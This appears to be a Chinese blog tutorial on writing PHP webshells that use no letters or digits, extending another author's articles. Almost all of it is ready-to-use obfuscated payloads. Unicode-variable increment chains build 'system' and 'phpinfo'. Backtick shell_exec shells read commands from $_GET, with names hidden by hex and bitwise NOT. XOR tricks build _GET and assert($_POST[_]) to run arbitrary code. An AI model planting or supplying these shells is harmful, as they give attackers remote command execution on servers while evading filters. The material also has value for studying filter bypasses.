收藏即为会了!!!!!!
还没有看过P神两篇文章的走这里
一些不包含数字和字母的webshell
无字母数字webshell之提高篇
P神在他文章中指出:
我们可以使用[].Φ
来得到字符串Array.
我们可以得到我们想要的构造payload:
使用说明
- 'ArrayΦ' <-> [].Φ - 1 <-> ![] - 'a' <-> ([].Φ)[![]+![]+![]] - 'b' <-> $a = 'a'; $b=++$a; - 'system' <-> $η.$ν.$η.$θ.$Ω.$α - 'system'(id) <-> system('id')
如图,自己构造可能比较麻烦,直接查照上图,如果需要Unicode码,这里找.
/* system(id) */ <?=$Φ=([].Φ)[![]+![]+![]]?><?=$Χ=++$Φ#b?><?=$Ψ=++$Χ#c?><?=$Ω=++$Ψ#d?><?=$Ϊ=++$Ω#e?><?=$Ϋ=++$Ϊ#f?><?=$ά=++$Ϋ#g?><?=$έ=++$ά#h?><?=$ή=++$έ#i?><?=$ί=++$ή#j?><?=$ΰ=++$ί#k?><?=$α=++$ΰ#l?><?=$β=++$α#m?><?=$γ=++$β#n?><?=$δ=++$γ#o?><?=$ε=++$δ#p?><?=$ζ=++$ε#q?><?=$η=++$ζ#r?><?=$θ=++$η#s?><?=$ι=++$θ#t?><?=$κ=++$ι#u?><?=$λ=++$κ#v?><?=$μ=++$λ#w?><?=$ν=++$μ#x?><?=$ξ=++$ν#y?><?=$ο=++$ξ#z?><?=$ο=([].Φ)[![]+![]+![]]#a?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?>
前面我们依次把字母赋值给不同的Unicode码,现在我们可以只用一个Unicode码遍历所有的字母,然后再取值我们需要的那个值.这样就减少了Unicode码的使用.
# phpinfo() <?=$Φ=([].Φ)[![]+![]+![]]#a?><?=++$Φ#b?><?=++$Φ#c?><?=++$Φ#d?><?=++$Φ#e?><?=$α=++$Φ#f?><?=++$Φ#g?><?=$ν=++$Φ#h?><?=$θ=++$Φ#i?><?=++$Φ#j?><?=++$Φ#k?><?=++$Φ#l?><?=++$Φ#m?><?=$Ω=++$Φ#n?><?=$λ=++$Φ#o?><?=$η=++$Φ#p?><?=++$Φ#q?><?=++$Φ#r?><?=++$Φ#s?><?=++$Φ#t?><?=++$Φ#u?><?=++$Φ#v?><?=++$Φ#w?><?=++$Φ#x?><?=++$Φ#y?><?=++$Φ#z?><?=($η.$ν.$η.$θ.$Ω.$α.$λ)()?>
前面我们知道可以使用[].Φ
来得到 字符串Array
.用![]+![]+![]
得到字符a
,那我们不要a
,而使用第一个字符A
.
- 'a' <-> ([].Φ)[![]+![]+![]] - 'A' <-> ([].Φ)['']
<?=$Φ=([].Φ)['']?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=$α=++$Φ?><?=++$Φ?><?=$ν=++$Φ?><?=$θ=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=$Ω=++$Φ?><?=$λ=++$Φ?><?=$η=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=($η.$ν.$η.$θ.$Ω.$α.$λ)()?>
<?php $§[]=$§; $§=$§.$§; var_dump($§);#string(10) "ArrayArray"
你懂的!!!
$Φ=([].Φ)['']; var_dump($Φ);#string(1) "A" var_dump(+$Φ);#int(0)
你开心就好!!!
<?=`{$_GET[_]}`; #使用十六进制 <?=`{${~"\xa0\xb8\xba\xab"}[~"\xa0"]}`;
我们可以知道
- ~"\xa0\xb8\xba\xab" <-> "_GET" - ~"\xa0" <-> "_" - ${"_GET"}[~"\xa0"] <-> $_GET["\xa0"] - `{$_GET["\xa0"]}` <-> shell_exec($_GET["\xa0"])
然后我们可以使用?_=id
不过,在大佬指点下,也可以有
?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;
少了一个反以后,我们可以使用?%a0=id
<?=$_='$<>/'^'{{{{';${$_}[_](${$_}[__]); # $_= '$<>/' ^ '{{{{' ----> $_ = '_GET' # ${_GET}[_](${_GET})[__]; # final <?=$_GET[_]($_GET[__])
P神文章中是
<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);